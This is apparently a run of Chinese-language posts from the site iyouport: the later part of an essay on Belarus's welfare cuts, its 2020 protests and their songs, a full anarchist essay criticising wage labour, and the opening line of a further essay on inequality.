白俄罗斯从苏联继承的大量社会福利，包括货币和实物，也遵循了类似的模式。2007年，一项全面的 “精简” 法案限制或取消了许多福利，从切尔诺贝利受害者的免费药物到学生的旅游折扣，尽管一些福利后来被部分恢复，然后又被削减。底层40%的人口获得特殊福利的比例从2003年的64%下降到2015年的36%。2017年，一项养老金改

革也提高了退休年龄。

政府还逐步推出了一些措施，削弱了公共的、普遍提供的教育和医疗保健。公共卫生系统被部分商业化，免费服务被缩减。教科书和校餐费的制定已被证明对穷人是一种负担。公共高等教育中三分之二的学生都要交费。儿童保育设施的数量也有所下降。在住房领域，政府的政策从直接提供公共服务转向贷款、津贴和补贴，住房存量已被彻底私有化。

庞大的公共部门的存在部分地缓解了这些投资的减少。但是，虽然普通的白俄罗斯国有企业可能比典型的资本主义公司提供更多的工作保障和更广泛的福利，但与1990年之前相比，这种差异要小得多。1999年，卢卡申科通过了第29号总统令，该法令允许定期合同的大规模扩散，推翻了政府自己的劳动法。这种高度不稳定的就业形式被扩展到国有企业的工人以及更传统的公共部门工人。该法令促进了工业就业的稳步减少和服务部门的扩张。在白俄罗斯的外国公司已经利用了这一制度。例如，在2019年，德国竖井下沉承包商 Redpath Deilmann 利用定期合同的不续约权力，解雇了20名签署了安全投诉的工人。

白俄罗斯工人阶级还遭受着微薄的失业福利。政府喜欢声称失业率为1%甚至更低，但随着2017年采用国际劳工组织的调查方法，失业率被披露为5.7%，这意味着即使在经济繁荣时期，失业率也很可观。还有证据表明，在制造业中雇主广泛使用强制性减少工作时间和行政休假。此外，白俄罗斯当局对穷人和失业者表现出惩罚性的态度，这比低报的统计数据更进一步。2013年，第550号总统令对目标社会福利提出了工作要求。更有争议的是，2017年，总统对失业者实施征税。这项措施是如此不受欢迎，以至于卢卡申科被迫走回头路，但他用更严厉的规定取代了这项措施，迫使失业者为公共服务支付更高的价格。

失业税引发的巨大社会不满可以被看作是去年8月抗议活动的前奏。白俄罗斯的社会契约被完全掏空，加上一个又一个反民众的措施，在经历了相当长的相对社会和平时期后，终于导致了公开的对抗。在COVID-19大流行期间，对卢卡申科的疏远和怨恨由于他对致命病毒的严重性的小丑式的否认而变得更加严重。所有这些都促使大量的人投票给斯维特拉娜·季哈诺夫斯卡娅。当当局宣布她以如此明显伪造的票数输掉选举时，多年来酝酿的社会不满情绪瞬间沸腾了。

许多大工厂的工人放下工具，抗议选举被操纵，这不是巧合。西方媒体对卢卡申科的“支持基础”转向反对他而感到惊讶，但这是一种误

读。卢卡申科的基础并不是由工厂工人组成的，而是由国家支持的商业投机者、朝臣资本家和资产阶级组成的。大规模的抗议和罢工最终将这一现实公之于众。

毫无疑问，去年夏天的大部分工业行动都是自发的，但尽管有镇压和官僚主义的阻挠，FPB之外的独立工会的关键性组织工作仍然存在。独立的劳工运动是否会被重新激活，或者官方工会结构中是否会出现异己的潮流，类似于西班牙佛朗哥主义时期活跃的工人对官方劳工结构的渗透，还有待观察。

尽管许多抗议活动具有无产阶级性质，但当代反对派的领导人更多的是与在卢卡申科统治下逐渐成熟的新专业阶层保持一致。他们中的许多人面向官僚机构中的技术官僚潮流，将国家推向更典型的西方资本主义形式，减少了官场和特权企业网络的影响。然而，对于许多希望与白俄罗斯自成一体的名族资本主义决裂的人来说，变革的步伐过于缓慢了。入狱前竞选总统的维克多·巴巴里科（Viktor Babariko）是一名银行经理，受雇于一家俄罗斯天然气工业股份公司的子公司；瓦列里·谢普卡洛（Valery Tsepkalo）在逃亡前也曾竞选过总统，他代表了90年代政治的一种有趣的延续性。他毕业于莫斯科的苏联外交学校MGIMO，是加入卢卡申科竞选团队的雄心勃勃的“小狼”之一，并担任了12年的高新科技园区主任。他决定挑战卢卡申科，表明一些行政和国家管理干部正在与总统的关系疏远。

这种感觉延伸到了更广泛的专业工薪阶层。尤其是技术工人是抗议活动的重要推动力。这些例行公事的专业人士认为旧式政客是进步的障碍，尽管不清楚他们究竟会支持什么样的社会经济秩序。加入这些主要以明斯克为基地的专业人士的还有一个具有强烈反官僚主义本能的省级小资产阶级，戈梅利商人和 YouTuber 谢尔盖·列昂尼多维奇·季哈诺夫斯基充分表达了他们的挫折感，他是卢卡申科最后一位总统竞争对手的入狱的丈夫。这群专业人士、小企业主和心怀不满的官僚和卢卡申科导向的企业等精英阶级集团进行对抗，对他们来说，目前的政治安排还算顺利。

反卢卡申科的阵营中潜在的阶级对立的一个迹象是反对派毫不含糊的新自由主义方案，其中充斥着刺激个人创业和中小企业以及吸引外国投资的措施。私有化和“优化”国有部门的劳动力规模，以及土地的全面商品化都被承诺。白俄罗斯反对派协调委员会发布的宪法草案中已经包含了对这一计划的奉献：“国家确保所有经济主体的平等条件，刺激公平竞争，鼓励企业家精神和公民的经济主动性，并维护自由的内外贸易和投资”。反对派承诺通过三方机制考虑工会的立场，但这是东欧所有“过渡性”自由主义的共同特点，它并没有抵消新自

治工会的长期衰退。

反对派不仅要面对根深蒂固的卢卡申科政府仍能保持其势头的大环境，还要与俄罗斯抗衡。与他的前任叶利钦相比，普京对白俄罗斯同行的耐心总是少得多。作为回应，卢卡申科与他早先的亲俄派形象背道而驰，试图尽可能地保持白俄罗斯对俄罗斯的相对自主权，即使在经济上仍然依赖该国。在过去的几个月里，卢卡申科拼命试图修复他与普京之间充满矛盾的关系，以获得俄罗斯总统的保护。如果俄罗斯统治阶级得逞，卢卡申科将把大部分国有部门交给他们，并实施宪法改革，允许亲俄罗斯的政党在议会中发挥制衡作用。这使反对派处于尴尬的境地，因为反对派的传统赞助商是俄罗斯的对手：美国和欧盟。

反对派希望，即使不能获得俄罗斯的支持，至少也能确保其在与卢卡申科的斗争中保持中立，尽管这看起来越来越不可能。前俄罗斯天然气公司雇员巴巴里科和 MGIMO 毕业生谢普卡洛都与俄罗斯有着广泛的联系，他们所代表的社会团体将欢迎俄罗斯迫使卢卡申科接受的经济“改革”。私营部门的成员也会欢迎俄罗斯迫使卢卡申科接受的经济“改革”，他们到目前为止一直保持中立，并没有深深卷入内部圈子，因而不至于希望卢卡申科的个人主义统治继续下去。消除资本和财富积累的障碍，同时避免中产阶级自由主义的潜在风险的改革，将得到白俄罗斯很大一部分富人的支持。

到目前为止，除了维护卢卡申科的统治，几乎没有迹象表明这个国家正朝着其他方向发展。如果他能在短期内坚持执政，我们不应感到惊讶。在他非凡的政治生涯中，他已被证明是个机会主义大师。但他必须非常幸运，才能继续抑制住白俄罗斯今天存在的如此庞大的社会和政治对立的积累。只要他有任何一个重大的判断失误，这些矛盾就会再次爆发出来。

Part IV：“如果你渴望自由，那就抓住它！”：白俄罗斯起义之歌

「图」

> 通过抗议歌曲，白俄罗斯人勇敢地面对并战胜了惯性、恐惧和异化。

抗议、反对和革命总是伴随着歌曲的出现。即使在革命本身退居幕后之后，这些歌曲仍会继续响起。在苏联长大的几代人都是听着这样的

歌曲长大的，他们认为20世纪俄罗斯革命的歌词是对《国际歌》中明确划分的两极的陈述，这是事实：

我们将建立一个新的世界，我们的世界。 那些一无所有的人要做天下的主人。

已经成为2020年白俄罗斯革命最重要象征之一的抗议歌曲远没有那么简单。这些歌曲的先驱是苏联时代后期的摇滚乐曲 “Khochu Peremen”（“我要改变”），作者是维克多·措伊，现在更常见的是 “Peremen！” 1986年，在戈尔巴乔夫时代的改革开放前夕，措伊与他的地下摇滚乐队 Kino 写下了这首歌。歌词有一种现代主义的、有层次的质感，通过节奏的变化和内部韵律的使用得到加强（遗憾的是译文会失去韵律感），这使得这首歌作为摇滚乐的主打歌曲显得与众不同：

代替温暖的是玻璃的绿色， 而不是火焰—烟雾， 一个从日历上撕下的日子。

这些歌词表明，《改变！》是作为一种自我表达而写的，也是对维克多·措伊的年轻朋友群体中的共同感受的认可，他们即将被卷入成人生活的常规和疏离之中：

烟在手，茶在桌—这就是一个闭环； 突然间，我们被吓坏了，无法改变什么。

这些话是如此具有个人意义的编码，以至于这首歌似乎不可能成为群众的合唱。然而，它的大众吸引力在于它的副歌，它超越了诗句那种情绪化的娇嗔：

我们的心要求 “改变！”， 我们的眼睛要求 “改变！”， 在我们的笑声和泪水中， 在脉搏的跳动中， “改变！” “我们等待着改变！”

这段合唱描述了主体被卷入自我反思的时刻，挣脱了桎梏，形成了一种集体而非个人的要求。主体 —— 不是 “他们”，而是 “我们” —— 的意义在于，它没有呈现出主人公为实现变革而必须对抗的外部力量；正如这句歌词所提醒听众的：“一切取决于我们”。

《改变！》之所以达到大规模流行，也许正是因为过去几十年的革命是由对抽象的自由感的渴望而产生的，或者说，在俄语中是 volya，有不精确定义的改变方案，但更有对非虚构的生活的强大集体渴望。这些政治革命，包括**2013**年土耳其盖茨公园抗议活动、**2014**年乌克

兰尊严革命、**2014**年香港雨伞革命、以及**2011–2012**年的占领运动，除了他们同样重要的、更加本地化的要求之外，都在寻求逃离这样一个世界，即："稳定和成功是生活在主导系统的不成文、不言明的规则中的结果：和其他人一样，你必须呆在自己的轨道上"。反抗者说："不！"

2020年白俄罗斯的抗议活动是这种21世纪革命血统的最新表现。公众支持抗议活动的一个深刻的象征性触发因素是国家对两名年轻的DJ —— 基里尔·加拉诺夫和弗拉迪斯拉夫·索科洛夫斯基的新闻拉拢，让他们在政府为阻止当时的反对派领导人斯维亚特兰娜·季哈努斯卡娅的投票前集会而匆忙组织的政治宣传活动中为观众表演。迫于国家的命令，这些年轻人通过演奏维克多·措伊的革命歌曲《改变！》来抵制这种最新的权力滥用。

【注：对比中国对演艺界名人的意识形态管制，包括他们被暗示或强迫参与政府宣传性的表演项目（包括春晚）；但他们中从未有人敢于在这样的胁迫性舞台上高唱反对派的革命歌曲。】

这首歌只持续了一分钟，活动经理就切断了音响系统，DJ们被立即装进了一辆警车，但这首歌，或者说是对**DJ**们的粗暴对待，成为了人群的催化剂。成百上千的手机拍摄到的**DJ**们伸出双手、抛出胜利标志的画面，迅速成为 "小人物" 的尊严和正直的记忆性象征。与此同时，这首歌继续从明斯克市内数百辆汽车的扬声器中响起。

在两位DJ被捕后，就像在改革时期那样，《改变！》被白俄罗斯社会当作一首解放之歌—— 主要是个人的解放，正如其作者所想的那样。

白俄罗斯反对派人士西亚尔海·齐哈努斯基（Siarhei Tsikhanouski）推广了另一首歌曲《墙》，在他被捕后，这首歌也成为他妻子斯维亚特拉娜（Sviatlana）集会的背景音乐。它起源于加泰罗尼亚歌手兼作曲家卢易斯·拉赫（Lluis Llach）1968年创作的一首名为《L'Estaca》（《桩》）的歌曲。2020年8月白俄罗斯大选后，在白俄罗斯驻莫斯科大使馆外的抗议活动中，基里尔·梅德韦杰夫的一首俄语变体歌曲《斯泰尼》（"墙"）响起。这首俄罗斯歌曲的文本与拉赫的原作很接近；但是，象征性的捆绑不自由者的木桩被更容易理解的墙壁符号所取代；这种转变很可能是在早期的波兰语和白俄罗斯语蜕变的基础上进行的。

波兰语版本的 "Mury"（《墙》）是由雅塞克·卡兹马尔斯基（Jacek Kaczmarski）在1978年创作的，他重新修改了文本及其哲学和政治信

息。这首歌成为波兰团结工会运动的赞歌。2010年，在白俄罗斯的抗议浪潮中，白俄罗斯诗人安德烈·哈达诺维奇（Andrei Khadanovich）将波兰语翻译成了白俄罗斯语；这首歌被命名为 “Razbury Turmy Mury”（《打破监狱的围墙》）。在季哈诺夫斯基总统竞选期间（直到他被投入监狱），复杂的最后一节歌词被替换为更直接、更有力的诗句。

这首歌的所有版本都由旋律和强有力的副歌统一起来，通过重复 “会倒下，会倒下，会倒下”，呼吁听众摧毁权力的垂直结构。在原版中，木桩是不公正的象征；“l’estaca” 这个词在发音上与 “estat”（政府）相似。在俄罗斯的变体中，这个符号变成了监狱的 “长期腐烂” 的墙壁。监狱墙在波兰的变体中也有特色，尽管是通过间接引用。白俄罗斯语的变体将监狱拉回到中心舞台：

摧毁监狱的墙壁！ 如果你渴望自由，那就抓住它! 墙很快就会倒下，会倒下，会倒下， 古老的世界将在其废墟中被埋葬。

在这些句子中，这首歌的原始概念得到了最清晰的实现。歌词是如此的稀疏和动态，以至于为哈达诺维奇在2010年明斯克独立广场的抗议活动中加入的新句子留出了空间，这成为他表演的关键：“如果你渴求自由，就抓住它！”

尽管合唱的主音是破坏性的，但这首歌的整体情绪是悲剧性的；墙壁最终仍然屹立。在加泰罗尼亚语和俄语版本中，这似乎是一个客观事实，如俗语所言：“墙永远不会被磨平”。在波兰和白俄罗斯的版本中，墙壁继续存在的原因是以隐喻的方式提出的：

于是，成千上万的人涌了上来 一个战士军团 推倒雕像，把路面打碎 变成了碎石 每个人都觉得时机已到 为这场战斗贡献自己的力量 不和我们站在一起的人就是反对我们的人

但就在这时，波兰歌曲的胜利节拍被一个意外的结论打断了：

……歌者发现自己很孤独。

他注视着行进的队伍 踏着他的歌声的节拍走着 歌声渐渐消失，渐渐消失，渐渐消失…… 墙壁越来越大，越来越大，越来越大……

在齐哈努斯基的倡议下，**2020**年的白俄罗斯版本被设计得更加乐观：最后的悲剧性句子被删除，亚历山大·基斯和谢尔盖·科斯马斯增加了两句反映当代白俄罗斯的新的生命力的歌词：

从整个白俄罗斯，人民站了起来 为了捍卫他们的自由 我们的精神被同一个目标所感动 用光明驱散黑暗……

然后，这首歌呼吁白俄罗斯人与歌手一起为真理和善良的永恒理想进行和平游行，将白俄罗斯变成一个“生存之地”。

鉴于这些变化，季哈诺夫斯基的《墙》变体，即“人民的总统”斯维特兰娜·格奥尔基耶娃·季哈诺夫斯卡娅赢得胜利的调子，乍一看似乎已经变得自相矛盾。它保留了它的核心意义 —— 对不公正的庆祝性破坏 —— 以及歌手带领成千上万的人的激动人心的形象，但新的歌词以第三人称复数称呼整个人群，已经假定他们的团结是毫无疑问的。在其中一个新增的句子中，作者直接向国家镇压部队喊话：

兄弟-官员们，我们是一个民族， 我们共同生活在这个世界上， 让你们的良知来做出选择吧， 我们不想要这场战争。

尽管在主题和语气上存在这些明显的矛盾，但这一版本的歌曲还是获得了巨大的成功。这种成功的一小部分，似乎必须归功于哈达诺维奇那句出色的简单歌词：“如果你渴望自由，就抓住它！”

那些身着白衣、怀抱鲜花的女性抗议者，在2020年沿着明斯克的街道站立，默默地抗议国家权力的过度使用，成为白俄罗斯人民革命的一个转折点。她们代表了公民战胜恐惧的胜利，个人的解放，团结的意识，以及一个新的自由国家的诞生。

政治学家和评论家在分析白俄罗斯的抗议活动时，倾向于批评这一时期的行动“缺乏政治纲领和缺乏领导”。但是，这些恰恰就是白俄罗斯抗议活动的重点：以和平和象征性的方式宣称战胜了不真实和恐惧，以便“一条光明和阳光之路”将他们带入，正如季哈诺夫斯基的歌词所说，“进入一片生存之地”。人们想起了另一位俄罗斯吟游诗人布拉·奥库扎瓦的经典之作：“让我们的愿望是纯洁的，其余的都会到来”。

如果您错过了《要运动，不诉求》

在白俄罗斯的抗议活动中不断听到的最后一首歌是“光明的勇士”，由白俄罗斯诗人和音乐家谢尔盖·米哈罗克为他的摇滚乐队 Lyapis Trubetskoy 创作。这首歌用俄语写了一个与政治事件无关的幻想世界，在2013年意外地被乌克兰独立广场的抗议活动所采用，并成为反抗者的非官方国歌。它被德米特里·索斯诺夫斯基（Dmitri Sosnovsky）翻译成白俄罗斯语，并在白俄罗斯的抗议活动中找到了自己的位置。与上述其他歌曲一样，它的中心是一场明确的寓言式

的、象征性的黑暗与光明力量之间的战斗，以“熄灭恐惧”。

2020年8月，白俄罗斯充满了黑暗和光明，勇气和恐惧，欢乐和残酷。光明的力量得到了人们听到和唱出的歌曲的支持 —— 在明斯克以及这个国家的每个角落都是如此。

今天的白俄罗斯人民并不渴望流血和毁灭。他们的敌人已经完全不同了，现在的敌人是：个人惰性、恐惧和疏远。人们只想相信，围墙很快就会倒下，正如维克多·措伊富有磁性的语句所言：“一切取决于我们”，将最终帮助白俄罗斯人民建设他们自己的“生存之地”。〇

原文

工作，是个什么东西 - iyouport

无政府主义社会反抗和思考长读

上班 … 下班 … 上班 … 下班 … 省吃俭用，然后再花掉所有积蓄为了多活几天。努力忘掉自己真正想要的一切，变成别人机器上的一个齿轮，为了吃饭卖掉自己的人生 …… 我们必需如此悲惨吗？

（“我喜欢上班” – 来自中国的对 “工作” 的讽刺视频）

我们并不是完全靠文书工作和绩效评估生存的，对吧？而现在，人们为了钱而做的大部分事，显然与我们的生存无关 —— 也与赋予生命意义的东西完全无关。

想象一下，如果没有 “工作” 这种东西，会是什么样？—— 是 “工作”，而不是劳动。

工作，是个什么东西？那要看您说的 “工作” 是什么意思了。想想有多少人喜欢园艺、钓鱼、木工、烹饪，甚至电脑编程，只是为了自己。如果这种基于兴趣爱好的活动能够提供您自己所有的需求呢？

数百年来，人们一直宣称，技术进步将很快把人类从工作以糊口的需要中解放出来。今天，我们拥有祖先无法想象的能力，但这些预言仍然没有实现。

在美国和中国这样的国家，人们的工作时间实际上比几代人之前更长了—— 穷人为了生存，富人为了竞争。其他人则拼命地找工作，几乎享受不到所有这些技术进步理应提供的舒适休闲。

尽管人们在谈论经济衰退，需要采取紧缩措施，但企业的收益却创下了历史纪录，那些最富有的人比以往任何时候都更富有，大量的商品被生产出来，却被更迅速扔掉（想想那些电子垃圾和一次性用品）。的确有大量的财富，但它并没有被用来解放人类。最近，世卫组织研究发现，劳累过度每年造成超过 *745,000* 人死亡

什么样的制度能同时产生丰富的财富，并阻止我们充分利用它？自由市场的捍卫者认为，没有其他选择—— 只要我们的社会是这样组织的，就没有其他选择。

然而从前，在打卡上班之前，一切都不是这样的。那时候，提供我们需求的自然界还没有被瓜分和私有化。知识和技能曾经也不是被昂贵的机构裹挟的特许专家的专属领域；时间也没有被分为生产性工作和消耗性休闲。我们之所以知道这一点，是因为工作是在几千年前才发明的，但人类已经存在了几十万年。现在的人们被告知，那时的生活是“孤独、贫穷、下流、野蛮、短暂”的 —— 但这种说法来自于那些全力以赴想要杜绝这种生活方式的人，而不是实践这种生活方式的人。

这并不是说我们应该回到过去的生活方式，也并非讨论我们是否可以回去—— 只是说，事情不必像现在这样。如果我们的远古祖先能看到我们今天的样子，他们可能会对我们的一些发明感到兴奋，对其他的发明感到恐惧，但是，他们肯定会对我们如何应用这些发明感到震惊。

我们用劳动建立了这个世界，如果没有一定的障碍，我们一定可以建立一个更好的世界。这并不意味着放弃我们所学的一切。而是意味着放弃我们所学的一切是行不通的。

人们很难否认，工作是生产力。仅仅几千年的时间，就极大地改变了地球表面的面貌。

但是，它到底产生了什么？十亿只的一次性筷子；几年内就被淘汰的笔记本电脑和手机，长达数公里的垃圾场和成吨成吨的氯氟烃，只要其他地方的劳动力更便宜，工厂就会生锈。垃圾桶里满是过剩的库存，而十亿人却遭受着营养不良；那些只有富人才能负担得起的医疗；在一个将欲望服从于利益动机、需求服从于产权的社会里，我们大多数人都没有时间放下一切去看小说、思考哲学问题和参与艺术运动。我们被绑架在这台永不休止的机器上，甚至没时间去考虑自己的权益是否公平合理。

而所有这些生产的资源从哪里来？那些被掠夺和剥削的生态系统和社区会怎样？如果说工作是生产性的，那么它的破坏性更大。

工作不会凭空产生商品，它不是一种变魔术的行为。相反，它从生物圈 —— 所有生物共享的共同宝库 —— 中获取原材料，并将其转化为市场逻辑下的产品。对于那些以资产负债表来看待世界的人来说，这

是一个进步，但我们其他人不应该相信他们的话。

资本家和社会主义者一直认为工作产生价值是理所当然的。而工人必须考虑另一种可能性 —— 工作会消耗价值。这就是为什么森林和极地冰盖与我们的生命时间一起被消耗的原因：当我们下班回家时身体的疼痛感与全球范围内发生的破坏是平行的。

您也许会问。如果不是这些东西我们应该生产什么？好吧，那幸福本身呢？我们可以想象一个社会，在这个社会里，我们活动的主要目标是让生活变得更美好，探索生活的奥秘，而不是为了积累财富或神经症竞争？当然，在这样的社会里，我们仍然会制造物质产品，但不是为了争夺利润。节日、盛宴、哲学、浪漫、创造性的追求、养育孩子、彼此间的友谊、冒险—— 我们能把这些想象成生活的中心而不是挤在业余时间里的东西吗？

今天的情况却恰恰相反—— 我们对幸福的概念被构建为刺激生产的手段。难怪产品会把我们挤出这个世界。

工作并不只是在以前只有贫穷的地方创造财富。相反，只要工作使一些人富裕起来，而牺牲了其他人的利益，工作本身就会造成贫困，与利润成正比。

贫穷不是客观条件，而是资源分配不均产生的关系。在人们分享一切的社会中，不存在所谓的贫穷。也许会有匮乏，但没有人会受到没有东西的屈辱，而其他人却拥有更多的东西闲置。随着利润的积累，以及在社会中发挥影响力所需的最低财富门槛越来越高，贫穷变得越来越令人沮丧。这是一种流放的形式—— 最残酷的流放形式，因为你待在社会中，却被排斥在社会之外。你既不能参与进来，也不能逃离出去。

工作不仅在创造财富的同时也创造了贫穷，它使财富集中在少数人手中，同时又使贫穷更广泛地蔓延。每有一个比尔·盖茨，一定有100万人生活在贫困线以下；每有一个壳牌石油公司，一定就有一个尼日利亚。我们工作得越多，劳动积累的利润就越多，与剥削者相比，我们就越穷。

所以，除了创造财富，工作还会使人变穷。甚至在我们考虑到工作使我们贫穷的所有其他方式之前，这一点就很清楚了：在自决方面贫穷，在自由时间方面贫穷，在健康方面贫穷，在职业和银行账户之外的自我意识方面贫穷，在精神方面贫穷。

“生活成本” 的估计是误导性的 —— 根本就没有什么生活! “工作成本” 似乎更靠谱些，而且不便宜。

每个人都知道家庭清洁工和洗碗工作为我们的经济支柱所付出的代价。所有的贫困祸害 —— 吸毒、家庭破碎、健康状况不佳 —— 都是顺理成章的事；那些在这些方面生存下来的人，都是在创造奇迹。想一想，如果他们能够自由地将这种力量运用到为雇主赚取利润以外的其他事情上，他们会取得怎样的成就呢？

那他们的雇主呢，还有幸在金字塔的高处吗？

您可能会认为赚取更高的薪水就意味着拥有更多的钱，从而获得更多的自由，但事实并非如此简单。每一份工作都会带来隐性成本：就像洗碗工每天要支付上下班的公交车费一样，企业律师要能在一瞬间飞到任何地方，要维持一个乡村俱乐部会员资格，以便进行非正式的商务会议，要拥有一栋小豪宅，在里面招待作为客户的客人。这就是为什么中产阶级工人很难攒够钱的原因：想在经济中取得进步，基本上意味着原地跑步。充其量，您可能会晋级到一个更豪华的跑步机上，但您必须跑得更快才能保持在跑步机上别掉下来。

而这些仅仅是工作的经济成本，是最便宜的。在一项调查中，问各行各业的人需要多少钱才能过上自己想要的生活，从穷光蛋到贵族，他们的回答都是：不管现在的收入是多少，都需要大约一倍。所以，金钱，不仅获得它的成本很高，而且，就像任何一种上瘾的毒品一样，它带来的满足感越来越低。而且越是往上爬，越是要为保持自己的地位而奋斗。富裕的行政人员必须抛弃自己那不羁的激情和良心，必须说服自己，他应该比那些为他提供安逸的劳动的不幸者们得到更多的东西，必须扼杀他每一次质疑、分享、换位思考的冲动；如果他不这样做，迟早会有更无情的竞争者取代他。无论是蓝领还是白领，为了保住让自己生存的工作，都不得扼杀自己，这只是一个身体还是精神毁灭的问题。

这些是我们个人付出的代价，但也要为这些工作付出全球代价。除了环境成本之外，还有与工作有关的疾病、受伤和死亡：每年我们都会杀死上千人，以便继续向幸存者出售汉堡包和健身俱乐部会员资格。

美国劳工部报告说，2001年发生致命工伤的人数是 “9–11” 事件中死亡人数的两倍，这还是在没有开始考虑到与工作有关的疾病的情况下。

最重要的是，比任何其他代价更高昂的，是永远学不会如何指导我们

自己的生活，永远没有机会回答甚至问一个问题：如果由我们自己决定，我们在这个星球上的时间会做些什么？我们永远无法知道，如果我们满足于一个人们太忙、太穷、或太容易被打倒的世界，我们会放弃多少。

如果工作如此昂贵，为什么还要工作？每个人都知道答案—— 没有其他方式可以获得我们生存所需的资源，或者说根本无法参与社会。

所有使其他生活方式成为可能的早期社会形式都已经被铲除了——它们被征服者、奴隶贩子、和公司铲除，既没有留下部落、传统，也没有留下完整的生态系统。与资本主义的宣传相反，自由的人类如果有其他选择，就不会为了微薄的薪水而挤进工厂，甚至连名牌鞋和软件的回报都没有。

在工作、购物和支付账单的过程中，我们每个人都在帮助延续这些活动所必需的条件。

资本主义之所以存在，是因为我们把一切都投入其中了：我们在市场上的所有精力和智慧，在超市和股市上的所有资源，在媒体上的所有注意力 .....更准确地说，资本主义之所以存在，是因为我们的日常活动就是它。但是，如果我们觉得还应该有其他选择，我们还会继续重复它吗？

相反，工作非但不能使人们获得幸福，反而助长了最糟糕的自我否定。

服从老师、老板、市场的要求—— 更不用说法律、父母的期望、宗教经文、社会规范了—— 我们从婴儿时期就被调教成把欲望搁置起来。听从命令成为一种无意识的反射，不管它们是否符合我们的最佳利益。

卖掉自己的时间，而不是为了做自己想做的事；我们评价自己的生活的标准是基于我们能换来多少钱，而不是我们能从它们身上得到什么。作为自由职业的奴隶，我们一小时一小时地兜售着自己的生活，我们认为每个人都有一个价格；价格的多少成为我们衡量价值的标准。在这个意义上，我们自己已经变成了商品，就像牙膏和卫生纸一样。曾经的人现在成了员工，就像曾经的猪现在成了猪排一样。我们的生命消失了，就像我们用来交易生命的金钱一样。

大多数人已经习惯于放弃对自己来说很珍贵的东西，以至于牺牲已经成为人们表达自己关心某事的唯一方式。为了理念、事业、彼此的爱

而牺牲，甚至当这些本应该是帮助我们找到幸福的时候。

在一些家庭中，人们通过竞争成为为他人付出最多的那个人，以此来表达爱意。感恩不仅仅是延迟的，而是代代相传的。您为了自己的孩子能过得舒服一点，不得不拼命工作；您无法/舍不得享受自己亲手创造的收入，只是幻想着自己的孩子将来能少点辛苦。然而当孩子成年后，如果要被视为负责任的成年人，他们也必须开始努力工作，开始磨破手指头的生涯，就像您当初那样。

但是，这种状况总要在某处停止。

现在的人们工作很辛苦，这是肯定的。把获取资源的机会与市场表现挂钩，造成了前所未有的生产和技术进步。的确，市场已经垄断了您自身的创造能力，以至于很多人工作不仅是为了生存，也是为了有事可做。但是，这能培养出什么样的主动性呢？

让我们回到全球变暖这个焦虑的话题，这是地球面临的最严重的危机之一。经过数十年的否认，政客和商人们终于挥舞着行动起来，要为此做点什么。他们在做什么？他们在想方设法捞钱。碳信用额度、“清洁”煤炭、“绿色”投资公司—— 谁会相信这些东西能是遏制温室气体产生的最有效方法？讽刺的是，资本主义消费主义造成的灾难本身就可以用来刺激更多的消费，但它揭示了很多关于工作灌输的主动性。什么人在面对防止地球上生命终结的任务时会做出这种回答：“当然，但对我有什么好处？”

如果我们的社会一切都要在利益动机的驱使下才能成功，那可能终究不是主动性，而是别的什么。真正发挥主动性，发起新的价值观和新的行为模式 —— 这对有进取心的商人来说，就像对他最无精打采的员工一样，是不可想象的。如果工作—— 也就是把你的创造力出租给别人的交易，无论是经理还是客户—— 实际上会削弱主动性呢？

这方面的证据已经超出了工作场所的范围。有多少人从来没有错过一天的工作，却不能按时参加乐队练习？即使我们能按时完成学校的论文，也无法跟上读书会的阅读进度；我们自己*真正想做的事*最终被排在了待办事项清单的最后，变成了可有可无；贯彻承诺的能力变成了我们自己以外的东西，与外部的奖励或惩罚机制联系在一起。

想象一下，在这个世界里，人们所做的一切，都是因为自己想做的，因为个人投入到了实现承诺的过程中。对于任何一个曾努力激励冷漠员工的老板来说，与同样投入到同一个项目中的人一起工作的想法听起来是乌托邦式的。但这并不能证明没有老板和工资就什么都做不成

—— 这只是说明工作是如何消耗我们的主动性的。

假设您的工作从来没有让您受伤、中毒或生病；继续假设经济不会崩溃并带走您的工作和储蓄，也没有人比您得到更糟糕的待遇以至于设法伤害或抢劫您。这可能很不错，但您还是不能确定自己永远不会被裁员。现在没有人一辈子为同一个雇主工作，您在某个地方工作几年，直到他们找到更年轻更便宜的人去取代你，或者把你的工作外包到海外。您可以破釜沉舟去证明自己是您所在领域的佼佼者，但最终还是会被晾在一边。

您必须指望您的雇主做出精明的决定，这样他们才能开出您的薪水——他们不能随便乱花钱，否则他们就没有钱付给你了。但您永远不知道这种精明什么时候会对您不利：您赖以生存的那些人并不是靠丰富的情感才有今天的地位的。如果您是自营职业者，您可能也知道市场有多变幻莫测。

什么可以提供真正的安全感？也许是成为一个长期社区的一部分，在这个社区里，人们互相照顾，一个基于互助而不是经济激励的社区。在今天建立这种社区的主要障碍之一是什么？：工作。

历史上大部分的不公都是由谁执行的？雇员。

拿到工资就可以免除你对自己行为的责任了吗？工作似乎会给人造成这样的印象。纽伦堡的著名辩称—— “我只是奉命行事”—— 一直是数百万员工的挽歌和不在场证明。这种愿意在工作场所门口检查自己的良心，是困扰我们人类的许多问题的根源。

人们在没有命令的情况下也做过可怕的事—— 但没有那么多可怕的事。你可以和一个为自己行事的人讲道理，他承认他要为*自己的*决定负责。而另一方面，雇员可以做出难以想象的愚蠢和破坏性的事，同时拒绝考虑后果 —— 因为他们在 “奉命行事”。

当然，真正的问题并不是员工拒绝为自己的行为负责，而是，经济制度使承担责任的代价如此高昂。

员工向河流和海洋倾倒有毒废物。

员工宰杀奶牛，用猴子做实验。

员工扔掉一卡车的食物。

员工正在破坏臭氧层。

他们通过监控摄像头监视你的一举一动。

你不付房租，他们就把你赶走。

你交不上税，他们就把你关起来。

当你没完成作业或没按时上班时，他们会羞辱你。

他们把你的私人生活信息输入信用报告和间谍部门的档案。

他们给你开超速罚单，拖走你的车。

他们管理标准化考试，少年拘留中心，和致命的注射。

把人赶进毒气室的士兵也是雇员。

就像占领伊拉克和阿富汗的那些士兵一样。

就像那些以自己为目标的自杀式炸弹袭击者一样 —— 他们是神的雇员，希望在天堂里得到报酬。

让我们明确一点—— 批判工作*并不*意味着拒绝劳动、努力、野心或承诺。它并不意味着要求每件事都是有趣或轻松的。与迫使我们工作的力量作斗争是艰苦的事。懒惰不是工作的替代品，尽管它很可能是就工作的副产品。

底线很简单：我们每个人都应该按照自己的意愿最大限度地发挥自己的潜力，成为自己命运的主人。为了生存而被迫卖掉自己是悲惨的，也是屈辱的。我们不必这样生活。〇

The Mythology of Work

原文

平等是如何消失的 - iyouport

无政府主义社会反抗和思考长读

在 97% 的人类历史中，所有人都拥有大致相同的权力和获取商品的途径。那么不平等是如何严重成如今这样的？

